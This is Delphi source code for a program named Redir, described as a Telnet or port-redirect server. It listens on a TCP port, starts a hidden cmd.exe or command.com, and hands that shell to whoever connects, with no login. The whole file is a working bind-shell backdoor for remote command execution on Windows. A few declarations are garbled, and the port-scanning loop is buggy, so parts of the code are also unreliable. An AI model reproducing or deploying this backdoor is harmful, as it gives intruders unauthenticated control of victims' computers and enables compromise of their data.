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| 关键词： nbsp MySession strWelcome begin then end Security CloseHandle THandle ProcessHandle |
program Redir;{端口重定向程序Delphi版.说明:这个代码是根据一个C语言代码翻译并修改过来的.目前是基于单连接,大家可以方便的改成多连接.lovejingtao.http://www.138soft.com.2004,3,25.运行本程序,格式如下:1:Redir.exe 980在980端口监听TelNet连接2:Redir.exe默认在23端口进行监听TelNet连接然后使用Windows自带的TelNet登陆即可.} uses Windows, WinSock; {$R *.res}{会话结构}type MySessionRecord = record ReadPipeHandle: THandle; WritePipeHandle: THandle; ProcessHandle: THandle; ClientSocket: TSocket; ReadShellThreadHandle: THandle; WriteShellThreadHandle: THandle; end; TMySessionRecord = MySessionRecord; PMySessionRecord = ^MySessionRecord;const NULL = 0;var cmdline: pchar = ''; {全局变量.}function StartShell(ShellStdinPipeHandle: THANDLE; ShellStdoutPipeHandle: THANDLE): THANDLE; forward;procedure SessionReadShellThreadFn(Parameter: Pointer); stdcall; forward;procedure SessionWriteShellThreadFn(Parameter: pointer); stdcall; forward;// **********************************************************************//// CreateSession 创建一个新对话.包括创建一个shell进程和建立一个通信管道//function CreateSession(var MySession: TMySessionRecord): Boolean;var Security: TSecurityAttributes; ShellStdinPipe, ShellStdOutPipe: THandle;label Failure;begin Result := False; FillChar(Security, sizeof(TSecurityAttributes), #0); Security.nLength := sizeof(TSecurityAttributes); Security.lpSecurityDescriptor := nil; // Use default ACL //设置允许继承，否则在NT和2000下无法取得输出结果 Security.bInheritHandle := TRUE; // Shell will inherit handles if not Createpipe(MySession.ReadPipeHandle, ShellStdOutPipe, @Security, 0) then Exit; if not Createpipe(ShellStdInPipe, MySession.WritePipeHandle, @Security, 0) then Exit; MySession.ProcessHandle := StartShell(ShellStdinPipe, ShellStdOutPipe); CloseHandle(ShellStdinPipe); CloseHandle(ShellStdOutPipe); if MySession.ProcessHandle = NULL then goto Failure; MySession.ClientSocket := INVALID_SOCKET; Result := True; Exit;//--------出错处理 Failure: begin if ShellStdinPipe <> NULL then CloseHandle(ShellStdinPipe); if ShellStdOutPipe <> NULL then CloseHandle(ShellStdOutPipe); if MySession.ReadPipeHandle <> NULL then CloseHandle(MySession.ReadPipeHandle); if MySession.WritePipeHandle <> NULL then CloseHandle(MySession.WritePipeHandle); end;end; function DoExec(MySocket: TSocket): Bool;var MySession: TMySessionRecord; Security: TSecurityAttributes; ThreadId: DWORD; HandleArray: array[0..2] of THANDLE; i: integer;begin Result := False; FillChar(Security, sizeof(TSecurityAttributes), #0); Security.nLength := sizeof(TSecurityAttributes); Security.lpSecurityDescriptor := nil; Security.bInheritHandle := TRUE; CreateSession(MySession); {创建对象} MySession.ClientSocket := MySocket; MySession.ReadShellThreadHandle := CreateThread( @Security, 0, @SessionReadShellThreadFn, @MySession, 0, ThreadId ); if MySession.ReadShellThreadHandle = NULL then begin MySession.ClientSocket := INVALID_SOCKET; Exit; end; MySession.WriteShellThreadHandle := CreateThread( @Security, 0, @SessionWriteShellThreadFn, @MySession, 0, ThreadId ); if MySession.WriteShellThreadHandle = NULL then begin MySession.ClientSocket := INVALID_SOCKET; TerminateThread(MySession.WriteShellThreadHandle, 0); Exit; end; HandleArray[0] := MySession.ReadShellThreadHandle; HandleArray[1] := MySession.WriteShellThreadHandle; HandleArray[2] := MySession.ProcessHandle; i := WaitForMultipleObjects(3, @HandleArray, FALSE, $FFFFFFFF); case i of WAIT_OBJECT_0 + 0: begin TerminateThread(MySession.WriteShellThreadHandle, 0); TerminateProcess(MySession.ProcessHandle, 1); end; WAIT_OBJECT_0 + 1: begin TerminateThread(MySession.ReadShellThreadHandle, 0); TerminateProcess(MySession.ProcessHandle, 1); end; WAIT_OBJECT_0 + 2: begin TerminateThread(MySession.WriteShellThreadHandle, 0); TerminateThread(MySession.ReadShellThreadHandle, 0); end; else ; end; closesocket(MySession.ClientSocket); DisconnectNamedPipe(MySession.ReadPipeHandle); CloseHandle(MySession.ReadPipeHandle); DisconnectNamedPipe(MySession.WritePipeHandle); CloseHandle(MySession.WritePipeHandle); CloseHandle(MySession.ReadShellThreadHandle); CloseHandle(MySession.WriteShellThreadHandle); CloseHandle(MySession.ProcessHandle); Result := True;end; function StartShell(ShellStdinPipeHandle: THANDLE; ShellStdoutPipeHandle: THANDLE): THANDLE;var ProcessInf TProcessInformation; si: TStartUpInfo; ProcessHandle: THANDLE;begin // // Initialize process startup info // FillChar(si, Sizeof(TStartUpInfo), #0); si.cb := sizeof(si); si.lpReserved := nil; si.lpTitle := nil; si.lpDesktop := nil; si.dwYSize := 0; si.dwXSize := 0; si.dwY := 0; si.dwX := 0; si.wShowWindow := SW_HIDE; si.lpReserved2 := nil; si.cbReserved2 := 0; //使用指定的句柄作为标准输入输出的文件句柄,使用指定的显示方式 si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; si.hStdInput := ShellStdinPipeHandle; si.hStdOutput := ShellStdoutPipeHandle; DuplicateHandle(GetCurrentProcess(), ShellStdoutPipeHandle,GetCurrentProcess(), @si.hStdError,DUPLICATE_SAME_ACCESS, TRUE, 0); if (CreateProcess(nil, cmdline, nil, nil, TRUE, 0, nil, nil, si, ProcessInfo)) then begin ProcessHandle := ProcessInfo.hProcess; CloseHandle(ProcessInfo.hThread); end else ; //Showmessage('error'); Result := ProcessHandle;end; procedure SessionReadShellThreadFn(Parameter: Pointer); stdcall; {从控制台读取信息并发送到客户端}var MySession: TMySessionRecord; Buffer1: array[0..199] of char; Buffer2: array[0..229] of char; BytesRead: DWORD; BufferCnt, BytesToWrite: DWORD; PrevChar: char;begin MySession := TMySessionRecord(Parameter^); while (PeekNamedPipe(MySession.ReadPipeHandle, @Buffer1, sizeof(Buffer1), @BytesRead, nil, nil)) do begin PrevChar := #0; if BytesRead > 0 then ReadFile(MySession.ReadPipeHandle, Buffer1, sizeof(Buffer1), BytesRead, nil) else begin Sleep(50); continue; end; BufferCnt := 0; BytesToWrite := 0; while BufferCnt < BytesRead do begin if (Buffer1[BufferCnt] = #10) and (PrevChar <> #13) then begin Buffer2[BytesToWrite] := #13; inc(BytesToWrite); end; Buffer2[BytesToWrite] := Buffer1[BufferCnt]; inc(BytesToWrite); PrevChar := Buffer2[BytesToWrite]; inc(BufferCnt); end; if (send(MySession.ClientSocket, Buffer2, BytesToWrite, 0) <= 0) then break; end; if (GetLastError() <> ERROR_BROKEN_PIPE) then ; //Showmessage('Error!'); ExitThread(0);end; procedure SessionWriteShellThreadFn(Parameter: pointer); stdcall; {接收网络指令并写入控制台}var MySession: TMySessionRecord; RecvBuffer: array[0..0] of Char; Buffer: array[0..199] of Char; EchoBuffer: array[0..4] of Char; BytesWritten: DWORD; BufferCnt, EchoCnt: DWORD; strBye: string;begin MySession := TMySessionRecord(Parameter^); BufferCnt := 0; while (recv(MySession.ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) <> 0) do begin EchoCnt := 0; EchoBuffer[EchoCnt] := RecvBuffer[0]; Buffer[BufferCnt] := EchoBuffer[EchoCnt]; Inc(EchoCnt); Inc(BufferCnt); if Pos('bye', Buffer) > 0 then begin strBye := #13#10 + '谢谢使用!再见!' + #13#10; send(MySession.ClientSocket, strBye[1], length(strBye), 0); ExitThread(0); end; if (RecvBuffer[0] = #10) or (RecvBuffer[0] = #13) then begin if (not WriteFile(MySession.WritePipeHandle, Buffer, BufferCnt, BytesWritten, nil)) then begin break; end; BufferCnt := 0; end; end; ExitThread(0);end; function BindSocket(port: integer; var MyServerSocket: TSOCKET): Bool;var server: sockaddr_in; i: integer;begin Result := False; MyServerSocket := socket(AF_INET, SOCK_STREAM, 0); if (MyServerSocket < 0) then Exit; //Failed to Socket() for i := port to 65535 do begin server.sin_family := AF_INET; server.sin_port := htons(port); server.sin_addr.s_addr := INADDR_ANY; if (bind(MyServerSocket, server, sizeof(server)) = 0) then break; end; if (MyServerSocket = INVALID_SOCKET) then Exit; //Failed to Bind() if (listen(MyServerSocket, 1) <> 0) then Exit; //Failed to Listen() Result := True;end; function SystemIsNT: Boolean;var OSVersionInf TOSVersionInfo;begin OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo); GetVersionEx(OSVersionInfo); Result := OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT;end;var wsa: WSADATA; RecvPort, iCode: integer; ServerSocket: TSocket; client: sockaddr_in; RecvSock: integer; namelen: integer; strWelcome: string; strPort: string;begin FreeConsole(); if (WSAStartup(MAKEWORD(1, 1), wsa) <> 0) then begin //Showmessage('Windows socket version is unmatching.'); Exit; end; strPort := ParamStr(1); Val(strPort, RecvPort, iCode); if iCode <> 0 then RecvPort := 23; if not BindSocket(RecvPort, ServerSocket) then begin //Showmessage('Failed to bind port.'); Exit; end; namelen := sizeof(client); RecvSock := accept(ServerSocket, @client, @namelen); if (RecvSock = -1) then //Showmessage('Failed to listen port.') //Failed to Accept() else begin strWelcome := #13 + #10 + '-------------------------------------------' + #13#10#13#10; send(RecvSock, strWelcome[1], length(strWelcome), 0); strWelcome := ' Telnet服务器V1.0(for 98/me/nt/2K/xp) ' + #13#10; send(RecvSock, strWelcome[1], length(strWelcome), 0); strWelcome := #13#10; send(RecvSock, strWelcome[1], length(strWelcome), 0); strWelcome := ' 输入bye退出程序.' + #13#10#13#10; send(RecvSock, strWelcome[1], length(strWelcome), 0); send(RecvSock, strWelcome[1], length(strWelcome), 0); strWelcome := ' http://www.138soft.com.'+#13#10#13#10; send(RecvSock, strWelcome[1], length(strWelcome), 0); strWelcome := '-------------------------------------------' + #13#10#13#10; send(RecvSock, strWelcome[1], length(strWelcome), 0); if SystemIsNT then cmdline := 'cmd.exe' else cmdline := 'command.com'; doexec(RecvSock); end; WSACleanup();end. |
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